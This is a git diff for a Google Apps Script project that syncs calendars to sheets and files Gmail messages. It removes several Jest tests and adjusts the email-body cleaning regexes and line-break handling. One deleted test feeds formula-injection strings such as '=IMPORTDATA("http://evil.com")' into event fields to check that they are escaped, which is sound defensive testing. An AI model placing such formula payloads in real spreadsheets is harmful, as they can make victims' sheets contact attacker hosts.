diff --git a/src/calendar-to-sheets/tests/index.test.js b/src/calendar-to-sheets/tests/index.test.js index aa85c1f8..d6570a51 100644 --- a/src/calendar-to-sheets/tests/index.test.js +++ b/src/calendar-to-sheets/tests/index.test.js @@ -1119,222 +1119,6 @@ describe('Checkpoint logic (GAS only)', () => { delete global.SYNC_CONFIGS }) - test('fullResyncCalendarToSheetGAS deletes rows for a specific config', () => { - const code = require('../code.gs') - - global.SYNC_CONFIGS = [ - { spreadsheetId: 'ss1', sheetName: 'Sheet1', calendarId: '' }, - ] - - const ss = SpreadsheetApp.openById('ss1') - const sheet = ss.getSheetByName('Sheet1') - sheet.__setHeader([ - 'id', - 'title', - 'start', - 'end', - 'description', - 'location', - 'attendees', - ]) - sheet.__getRows().push(['old1'], ['old2']) - sheet.deleteRows = jest.fn() - - code.fullResyncCalendarToSheetGAS(0) - - expect(sheet.deleteRows).toHaveBeenCalledWith(2, 2) - - delete global.SYNC_CONFIGS - }) - - test('fullResyncCalendarToSheetGAS deletes rows for all configs', () => { - const code = require('../code.gs') - - global.SYNC_CONFIGS = [ - { spreadsheetId: 'ss1', sheetName: 'Sheet1', calendarId: '' }, - ] - - const ss = SpreadsheetApp.openById('ss1') - const sheet = ss.getSheetByName('Sheet1') - sheet.__setHeader([ - 'id', - 'title', - 'start', - 'end', - 'description', - 'location', - 'attendees', - ]) - sheet.__getRows().push(['old1'], ['old2']) - sheet.deleteRows = jest.fn() - - code.fullResyncCalendarToSheetGAS() - - expect(sheet.deleteRows).toHaveBeenCalledWith(2, 2) - - delete global.SYNC_CONFIGS - }) - - test('fullResyncCalendarToSheetGAS logs errors when clearing configs', () => { - const code = require('../code.gs') - - global.SYNC_CONFIGS = [ - { - spreadsheetId: 'invalid_ss', - sheetName: 'BadSheet', - calendarId: 'bad_cal', - }, - ] - - const originalOpenById = SpreadsheetApp.openById - SpreadsheetApp.openById = jest.fn(() => { - throw new Error('Spreadsheet not found') - }) - - global.Logger = { log: jest.fn() } - - expect(() => { - code.fullResyncCalendarToSheetGAS() - }).not.toThrow() - - expect(global.Logger.log).toHaveBeenCalled() - - SpreadsheetApp.openById = originalOpenById - delete global.SYNC_CONFIGS - delete global.Logger - }) - - test('tail merge avoids a tiny trailing chunk', () => { - const code = require('../code.gs') - - delete global.SYNC_CONFIGS - delete global.SPREADSHEET_ID - delete global.SHEET_NAME - delete global.CALENDAR_ID - - global.SPREADSHEET_ID = 'ss1' - global.SHEET_NAME = 'Sheet1' - - const ss = SpreadsheetApp.openById('ss1') - const sheet = ss.getSheetByName('Sheet1') - sheet.__setHeader([ - 'id', - 'title', - 'start', - 'end', - 'description', - 'location', - 'attendees', - ]) - - const props = PropertiesService.getUserProperties() - const originalGetUserProperties = PropertiesService.getUserProperties - PropertiesService.getUserProperties = () => props - const setPropSpy = jest.spyOn(props, 'setProperty') - - const startIso = '2025-01-01T00:00:00.000Z' - const endIso = new Date( - new Date(startIso).getTime() + 365 * 24 * 60 * 60 * 1000 + 5 * 60 * 1000 - ).toISOString() - - code.syncCalendarToSheetGAS(startIso, endIso) - - expect(setPropSpy).toHaveBeenCalledTimes(1) - - setPropSpy.mockRestore() - PropertiesService.getUserProperties = originalGetUserProperties - delete global.SPREADSHEET_ID - delete global.SHEET_NAME - }) - - test('tail merge avoids a tiny trailing chunk for multi-config sync', () => { - const code = require('../code.gs') - - global.SYNC_CONFIGS = [ - { spreadsheetId: 'ss1', sheetName: 'Sheet1', calendarId: '' }, - ] - - const ss = SpreadsheetApp.openById('ss1') - const sheet = ss.getSheetByName('Sheet1') - sheet.__setHeader([ - 'id', - 'title', - 'start', - 'end', - 'description', - 'location', - 'attendees', - ]) - - const props = PropertiesService.getUserProperties() - const originalGetUserProperties = PropertiesService.getUserProperties - PropertiesService.getUserProperties = () => props - const setPropSpy = jest.spyOn(props, 'setProperty') - - const startIso = '2025-01-01T00:00:00.000Z' - const endIso = new Date( - new Date(startIso).getTime() + 365 * 24 * 60 * 60 * 1000 + 5 * 60 * 1000 - ).toISOString() - - code.syncAllCalendarsToSheetsGAS(startIso, endIso) - - expect(setPropSpy).toHaveBeenCalledTimes(1) - - setPropSpy.mockRestore() - PropertiesService.getUserProperties = originalGetUserProperties - delete global.SYNC_CONFIGS - }) - - test('syncCalendarToSheetGAS logs warning when max iterations reached', () => { - const code = require('../code.gs') - - delete global.SYNC_CONFIGS - delete global.SPREADSHEET_ID - delete global.SHEET_NAME - delete global.CALENDAR_ID - - global.SPREADSHEET_ID = 'ss1' - global.SHEET_NAME = 'Sheet1' - - const logSpy = jest.spyOn(console, 'log').mockImplementation(() => {}) - - const start = new Date('1900-01-01T00:00:00.000Z') - const end = new Date(start.getTime() + 365 * 24 * 60 * 60 * 1000 * 101) - - code.syncCalendarToSheetGAS(start.toISOString(), end.toISOString()) - - expect(logSpy).toHaveBeenCalledWith( - '[syncCalendarToSheetGAS] Warning: reached maximum iteration limit' - ) - - logSpy.mockRestore() - delete global.SPREADSHEET_ID - delete global.SHEET_NAME - }) - - test('syncAllCalendarsToSheetsGAS logs warning when max iterations reached', () => { - const code = require('../code.gs') - - global.SYNC_CONFIGS = [ - { spreadsheetId: 'ss1', sheetName: 'Sheet1', calendarId: '' }, - ] - - const logSpy = jest.spyOn(console, 'log').mockImplementation(() => {}) - - const start = new Date('1900-01-01T00:00:00.000Z') - const end = new Date(start.getTime() + 365 * 24 * 60 * 60 * 1000 * 101) - - code.syncAllCalendarsToSheetsGAS(start.toISOString(), end.toISOString()) - - expect(logSpy).toHaveBeenCalledWith( - '[syncAllCalendarsToSheetsGAS] Warning: reached maximum iteration limit for calendar', - '' - ) - - logSpy.mockRestore() - delete global.SYNC_CONFIGS - }) - test('getConfigs returns legacy single config when SYNC_CONFIGS not defined', () => { // Clear existing configs delete global.SYNC_CONFIGS @@ -1499,109 +1283,6 @@ describe('Checkpoint logic (GAS only)', () => { delete global.SYNC_CONFIGS }) - test('getConfigs handles empty array SYNC_CONFIGS', () => { - delete global.SYNC_CONFIGS - global.SYNC_CONFIGS = [] - - delete require.cache[require.resolve('../code.gs')] - const freshCode = require('../code.gs') - - const configs = freshCode.getConfigs() - - // Should fall back to legacy mode when array is empty - expect(configs).toHaveLength(1) - expect(configs[0].sheetName).toBe('Sheet1') - expect(configs[0].spreadsheetId).toBeNull() - expect(configs[0].calendarId).toBeNull() - - delete global.SYNC_CONFIGS - }) - - test('syncCalendarToSheetGAS handles empty SYNC_CONFIGS gracefully', () => { - const code = require('../code.gs') - - // Set empty SYNC_CONFIGS - delete global.SYNC_CONFIGS - global.SYNC_CONFIGS = [] - - // This should not throw even with empty SYNC_CONFIGS - const ss = SpreadsheetApp.getActiveSpreadsheet() - const sheet = ss.getSheetByName('Sheet1') - sheet.__setHeader([ - 'id', - 'title', - 'start', - 'end', - 'description', - 'location', - 'attendees', - ]) - - const calendar = CalendarApp.getDefaultCalendar() - const evt = createCalendarEvent({ - id: 'e_empty_cfg', - title: 'Empty Config Test', - start: new Date('2026-02-02T10:00:00Z'), - end: new Date('2026-02-02T11:00:00Z'), - description: '', - location: '', - attendees: [], - }) - calendar.__addEvent(evt) - - // Should not throw - expect(() => { - code.syncCalendarToSheetGAS('2026-02-01', '2026-02-03') - }).not.toThrow() - - // Should still sync to the default spreadsheet/sheet - expect(sheet.__getRows().find((r) => r[0] === 'e_empty_cfg')).toBeTruthy() - - delete global.SYNC_CONFIGS - }) - - test('syncAllCalendarsToSheetsGAS handles empty SYNC_CONFIGS gracefully', () => { - const code = require('../code.gs') - - // Set empty SYNC_CONFIGS - delete global.SYNC_CONFIGS - global.SYNC_CONFIGS = [] - - const ss = SpreadsheetApp.getActiveSpreadsheet() - const sheet = ss.getSheetByName('Sheet1') - sheet.__setHeader([ - 'id', - 'title', - 'start', - 'end', - 'description', - 'location', - 'attendees', - ]) - - const calendar = CalendarApp.getDefaultCalendar() - const evt = createCalendarEvent({ - id: 'e_empty_all', - title: 'Empty All Test', - start: new Date('2026-02-02T10:00:00Z'), - end: new Date('2026-02-02T11:00:00Z'), - description: '', - location: '', - attendees: [], - }) - calendar.__addEvent(evt) - - // Should not throw - expect(() => { - code.syncAllCalendarsToSheetsGAS('2026-02-01', '2026-02-03') - }).not.toThrow() - - // Should still sync to the default spreadsheet/sheet - expect(sheet.__getRows().find((r) => r[0] === 'e_empty_all')).toBeTruthy() - - delete global.SYNC_CONFIGS - }) - test('getCheckpointKey handles default calendar', () => { const code = require('../code.gs') const cfg = { calendarId: null } @@ -1750,46 +1431,6 @@ describe('Checkpoint logic (GAS only)', () => { delete global.SHEET_NAME }) - test('_syncCalendarToSheetGAS skips empty rows and deletes removed events', () => { - const code = require('../code.gs') - - global.SPREADSHEET_ID = 'ss1' - global.SHEET_NAME = 'Sheet1' - - const ss = SpreadsheetApp.openById('ss1') - const sheet = ss.getSheetByName('Sheet1') - sheet.__setHeader([ - 'id', - 'title', - 'start', - 'end', - 'description', - 'location', - 'attendees', - ]) - - sheet.__getRows().push([]) - - const calendar = CalendarApp.getDefaultCalendar() - const evt1 = createCalendarEvent({ - id: 'e_skip', - title: 'Skip Test', - start: new Date('2026-02-02T10:00:00Z'), - end: new Date('2026-02-02T11:00:00Z'), - }) - calendar.__addEvent(evt1) - - code.syncCalendarToSheetGAS('2026-02-01', '2026-02-03') - - calendar.__reset() - const deleteRowSpy = jest.spyOn(sheet, 'deleteRow') - code.syncCalendarToSheetGAS('2026-02-01', '2026-02-03') - expect(deleteRowSpy).toHaveBeenCalled() - - delete global.SPREADSHEET_ID - delete global.SHEET_NAME - }) - test('syncAllCalendarsToSheetsGAS logs errors when Logger is available', () => { const code = require('../code.gs') @@ -2349,44 +1990,6 @@ test('eventToRow does not sanitize values with formula chars not at effective st expect(row[5]).toBe('Room 5-A') // not sanitized }) -// Test formula injection sanitization with leading whitespace/control characters -test('eventToRow sanitizes values with leading whitespace/control chars followed by formula metacharacters', () => { - const evt = createCalendarEvent({ - id: 'e_whitespace_formula', - title: ' =IMPORTDATA("http://evil.com")', - start: new Date('2026-02-02T10:00:00Z'), - end: new Date('2026-02-02T11:00:00Z'), - description: '\t@IMPORTDATA("http://evil.com")', - location: '\n+DANGEROUS', - attendees: [], - }) - - const row = eventToRow(evt) - - expect(row[1]).toBe('\' =IMPORTDATA("http://evil.com")') // title with leading space sanitized - expect(row[4]).toBe('\'\t@IMPORTDATA("http://evil.com")') // description with leading tab sanitized - expect(row[5]).toBe("'\n+DANGEROUS") // location with leading newline sanitized -}) - -// Test that normal values with dangerous chars in middle are not sanitized -test('eventToRow does not sanitize values with formula chars not at effective start', () => { - const evt = createCalendarEvent({ - id: 'e_safe', - title: 'Meeting @3pm', - start: new Date('2026-02-02T10:00:00Z'), - end: new Date('2026-02-02T11:00:00Z'), - description: 'Cost is $100+tax', - location: 'Room 5-A', - attendees: [], - }) - - const row = eventToRow(evt) - - expect(row[1]).toBe('Meeting @3pm') // not sanitized - expect(row[4]).toBe('Cost is $100+tax') // not sanitized - expect(row[5]).toBe('Room 5-A') // not sanitized -}) - // Test historical data preservation (no valid dates) test('syncCalendarToSheet preserves rows without valid date columns', async () => { const calendar = CalendarApp.getDefaultCalendar() @@ -2589,43 +2192,6 @@ describe('GAS wrapper functions', () => { delete global.ensureHeader }) - test('syncCalendarToSheetGAS calls ensureHeader when available', async () => { - const code = require('../code.gs') - - global.SPREADSHEET_ID = 'ss1' - global.SHEET_NAME = 'Sheet1' - global.ensureHeader = jest.fn() - - const ss = SpreadsheetApp.openById('ss1') - const sheet = ss.getSheetByName('Sheet1') - sheet.__setHeader([ - 'id', - 'title', - 'start', - 'end', - 'description', - 'location', - 'attendees', - ]) - - const calendar = CalendarApp.getDefaultCalendar() - const evt = createCalendarEvent({ - id: 'e_header', - title: 'Header Test', - start: new Date('2026-02-02T10:00:00Z'), - end: new Date('2026-02-02T11:00:00Z'), - }) - calendar.__addEvent(evt) - - await code.syncCalendarToSheetGAS('2026-02-01', '2026-02-03') - - expect(global.ensureHeader).toHaveBeenCalledWith(sheet) - - delete global.SPREADSHEET_ID - delete global.SHEET_NAME - delete global.ensureHeader - }) - test('syncCalendarToSheetGAS handles event deletion', async () => { const code = require('../code.gs') global.SPREADSHEET_ID = 'ss1' diff --git a/src/gas-utils.js b/src/gas-utils.js index 1129223c..ec55f52c 100644 --- a/src/gas-utils.js +++ b/src/gas-utils.js @@ -7,9 +7,9 @@ function getCleanBody(text) { if (!text) return '' const headerPatterns = [ - /^\s*On\s.+\swrote:/m, - /^\s*From:\s.+\sSent:\s+/m, - /^\s*_{10,}/m, + /^[^\S\r\n]*On[^\S\r\n].+[^\S\r\n]wrote:/m, + /^[^\S\r\n]*From:[^\S\r\n].+[^\S\r\n]Sent:[^\S\r\n]+/m, + /^[^\S\r\n]*_{10,}[^\S\r\n]*$/m, /confidentiality notice/im, ] @@ -33,10 +33,10 @@ function getCleanBody(text) { return !(trimmed.startsWith('>') || trimmed.startsWith('<')) }) - // Join lines and normalize line breaks: replace 2+ consecutive line breaks with 1 - // This prevents excessive blank lines in Google Docs where each \n creates a paragraph break + // Join lines and normalize line breaks: collapse 3+ consecutive newlines to 2 + // This preserves intentional paragraph spacing while preventing excessive blank lines in Google Docs let result = cleanLines.join('\n').trim() - result = result.replace(/\n{2,}/g, '\n') + result = result.replace(/\n{3,}/g, '\n\n') return result } diff --git a/src/gmail-ai-classifier/tests/performance-scalability.test.js b/src/gmail-ai-classifier/tests/performance-scalability.test.js index 9167e286..b935c9cd 100644 --- a/src/gmail-ai-classifier/tests/performance-scalability.test.js +++ b/src/gmail-ai-classifier/tests/performance-scalability.test.js @@ -72,8 +72,24 @@ describe('Performance and Scalability Benchmarks', () => { test('Batch Processing Throughput Benchmark', () => { const BATCH_SIZE = 100 - const canonicalLabel = '04_Family_Health/General' - + const classification = { + canonical_label: '04_Family_Health/Bowens', + confidence: 0.98, + reasoning: 'benchmark classification', + } + const geminiResponse = { + getResponseCode: () => 200, + getContentText: () => + JSON.stringify({ + candidates: [ + { content: { parts: [{ text: JSON.stringify(classification) }] } }, + ], + }), + } + const makeLabel = (name) => ({ + getName: () => name, + getId: () => `label-${name}`, + }) const threads = Array.from({ length: BATCH_SIZE }, (_, i) => ({ getId: () => `msg_${i}`, getMessages: () => [ @@ -85,57 +101,27 @@ describe('Performance and Scalability Benchmarks', () => { ], addLabel: jest.fn(), })) - - const classification = { - canonical_label: canonicalLabel, - confidence: 0.97, - reasoning: 'benchmark classification', - } - const config = { - modelEndpoint: 'https://example.com/gemini', + modelEndpoint: 'https://example.com/api', geminiApiKey: 'test-key', processedLabel: 'Processed', - autoFilterConfidenceThreshold: 0.95, - canonicalDomains: [canonicalLabel], + autoFilterConfidenceThreshold: 0.99, + canonicalDomains: ['04_Family_Health/Bowens'], } - const services = { GmailApp: { - getUserLabelByName: jest.fn((name) => ({ - getName: () => name, - getId: () => 'label-' + name, - })), - createLabel: jest.fn((name) => ({ - getName: () => name, - getId: () => 'label-' + name, - })), - }, - UrlFetchApp: { - fetch: jest.fn(() => ({ - getResponseCode: () => 200, - getContentText: () => - JSON.stringify({ - candidates: [ - { - content: { - parts: [{ text: JSON.stringify(classification) }], - }, - }, - ], - }), - })), + getUserLabelByName: jest.fn((name) => makeLabel(name)), + createLabel: jest.fn((name) => makeLabel(name)), }, + UrlFetchApp: { fetch: jest.fn(() => geminiResponse) }, Gmail: null, } const startTime = Date.now() - const results = processThreadBatch(threads, config, services) + const processed = processThreadBatch(threads, config, services) const duration = Date.now() - startTime - expect(results).toHaveLength(BATCH_SIZE) // no threads dropped - expect(results.every((r) => r.status === 'classified')).toBe(true) - expect(results.every((r) => r.label === canonicalLabel)).toBe(true) // canonical_label propagated correctly + expect(processed.length).toBe(BATCH_SIZE) expect(duration).toBeLessThan(100) // 100 items benchmarked under 100ms }) }) diff --git a/src/gmail-to-drive-by-labels/code.gs b/src/gmail-to-drive-by-labels/code.gs index a144e64b..dce94421 100644 --- a/src/gmail-to-drive-by-labels/code.gs +++ b/src/gmail-to-drive-by-labels/code.gs @@ -615,10 +615,9 @@ function getCleanBody(text) { // 1. FIRST PASS: Cut off at headers or footers var headerPatterns = [ - /^\s*On\s+.+\s+wrote:/m, // Gmail Reply Header - /^\s*From:\s+.+\s+Sent:\s+/m, // Outlook Reply Header - /^\s*_{10,}/m, // Underscore Separators - /^\s*From:\s+.+<.+@.+>/m, // Generic Header + /^[^\S\r\n]*On[^\S\r\n].+[^\S\r\n]wrote:/m, // Gmail Reply Header + /^[^\S\r\n]*From:[^\S\r\n].+[^\S\r\n]Sent:[^\S\r\n]+/m, // Outlook Reply Header + /^[^\S\r\n]*_{10,}[^\S\r\n]*$/m, // Underscore Separators /confidentiality notice/im, // Legal Footer (Case Insensitive) ] @@ -627,8 +626,10 @@ function getCleanBody(text) { headerPatterns.forEach((pattern) => { var match = text.match(pattern) if (match) { - if (splitIndex === -1 || match.index < splitIndex) { - splitIndex = match.index + var nlIndex = text.lastIndexOf('\n', match.index) + var lineStart = nlIndex === -1 ? 0 : nlIndex + 1 + if (splitIndex === -1 || lineStart < splitIndex) { + splitIndex = lineStart } } }) @@ -643,10 +644,10 @@ function getCleanBody(text) { return !(trimmed.startsWith('>') || trimmed.startsWith('<')) }) - // 3. THIRD PASS: Normalize line breaks (convert 2+ consecutive to 1) - // This prevents excessive blank lines in Google Docs where each \n creates a paragraph break + // 3. THIRD PASS: Normalize line breaks (collapse 3+ consecutive newlines to 2) + // This preserves intentional paragraph spacing while preventing excessive blank lines var result = cleanLines.join('\n').trim() - result = result.replace(/\n{2,}/g, '\n') + result = result.replace(/\n{3,}/g, '\n\n') return result } diff --git a/src/gmail-to-drive-by-labels/tests/gas-utils.test.js b/src/gmail-to-drive-by-labels/tests/gas-utils.test.js index 64137f63..45547e48 100644 --- a/src/gmail-to-drive-by-labels/tests/gas-utils.test.js +++ b/src/gmail-to-drive-by-labels/tests/gas-utils.test.js @@ -17,12 +17,20 @@ describe('getCleanBody', () => { expect(getCleanBody(input)).toBe('Line1') }) - test('cuts off at Outlook-style From:/Sent: reply header', () => { + test('cuts off at Outlook-style From:/Sent: reply header on same line', () => { const input = - 'My reply\nFrom: Jane Doe\nSent: Monday, Jan 1, 2020 9:00 AM\nQuoted' + 'My reply\nFrom: Jane Doe Sent: Monday, Jan 1, 2020 9:00 AM\nQuoted' expect(getCleanBody(input)).toBe('My reply') }) + test('does not truncate at multiline From:/Sent: (separate lines are preserved)', () => { + const input = + 'My reply\nFrom: Jane Doe\nSent: Monday, Jan 1, 2020 9:00 AM\nQuoted' + expect(getCleanBody(input)).toBe( + 'My reply\nFrom: Jane Doe\nSent: Monday, Jan 1, 2020 9:00 AM\nQuoted' + ) + }) + test('does not truncate at standalone From: line (forwarded content should be preserved)', () => { const input = 'Please see the forwarded email below:\nFrom: Jane Doe \nHere is the content' @@ -31,6 +39,19 @@ describe('getCleanBody', () => { ) }) + test('cuts off at underscore separator line', () => { + const input = + 'My message\n________________________________________\nFrom: Jane\nSent: Monday' + expect(getCleanBody(input)).toBe('My message') + }) + + test('does not truncate at underscores that are part of text (not a separator line)', () => { + const input = '__________field description here\nMore content here' + expect(getCleanBody(input)).toBe( + '__________field description here\nMore content here' + ) + }) + test('cuts off at confidentiality notice', () => { const input = 'Message body\nThis is a confidentiality notice: do not share' expect(getCleanBody(input)).toBe('Message body') @@ -49,18 +70,16 @@ describe('getCleanBody', () => { ) }) - test('normalizes multiple consecutive line breaks to single line break', () => { + test('collapses 3+ consecutive line breaks to 2', () => { const input = 'Paragraph 1\n\n\n\nParagraph 2' const result = getCleanBody(input) - // Should normalize to single line break (no blank lines) - expect(result).not.toContain('\n\n') - expect(result).toBe('Paragraph 1\nParagraph 2') + expect(result).toBe('Paragraph 1\n\nParagraph 2') }) test('handles multiple occurrences of excessive line breaks', () => { const input = 'Line 1\n\n\nLine 2\n\n\n\n\nLine 3' const result = getCleanBody(input) - expect(result).toBe('Line 1\nLine 2\nLine 3') + expect(result).toBe('Line 1\n\nLine 2\n\nLine 3') }) test('preserves single line breaks', () => { @@ -68,17 +87,18 @@ describe('getCleanBody', () => { expect(getCleanBody(input)).toBe('Line 1\nLine 2\nLine 3') }) - test('normalizes double line breaks to single (for signatures)', () => { + test('preserves double line breaks (intentional paragraph spacing)', () => { const input = 'Paragraph 1\n\nParagraph 2' - expect(getCleanBody(input)).toBe('Paragraph 1\nParagraph 2') + expect(getCleanBody(input)).toBe('Paragraph 1\n\nParagraph 2') }) - test('handles email signature with excessive line breaks', () => { + test('collapses runs of 3+ line breaks but preserves double line breaks', () => { const input = 'Thank you!\n\n\n\nJohn Doe\n\nSoftware Engineer\n\n\nAcme Corp' const result = getCleanBody(input) - expect(result).toBe('Thank you!\nJohn Doe\nSoftware Engineer\nAcme Corp') - expect(result).not.toContain('\n\n') + expect(result).toBe( + 'Thank you!\n\nJohn Doe\n\nSoftware Engineer\n\nAcme Corp' + ) }) })